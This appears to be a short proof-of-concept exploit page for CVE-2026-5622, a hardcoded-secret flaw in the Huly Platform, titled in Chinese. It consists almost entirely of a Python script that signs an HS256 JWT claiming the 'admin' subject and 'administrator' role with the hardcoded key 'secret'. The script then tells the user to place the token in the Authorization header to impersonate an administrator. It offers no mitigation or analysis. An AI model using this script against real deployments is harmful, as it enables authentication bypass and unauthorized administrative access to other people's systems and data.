CVE-2026-5622 Huly Platform硬编码密钥漏洞

import jwt import datetime # The hardcoded secret extracted from the vulnerable source code # File: foundations/core/packages/token/src/token.ts HARDCODED_SECRET = "secret" def forge_admin_token(): # Payload simulating an administrator user payload = { "sub": "admin", "role": "administrator", "iat": datetime.datetime.utcnow(), "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1) } # Forge the token using the hardcoded secret # Algorithm is typically HS256 for this type of implementation forged_token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") print(f"[+] Forged JWT Token: {forged_token}") print(f"[+] Use this token in the Authorization header to impersonate admin.") if __name__ == "__main__": forge_admin_token()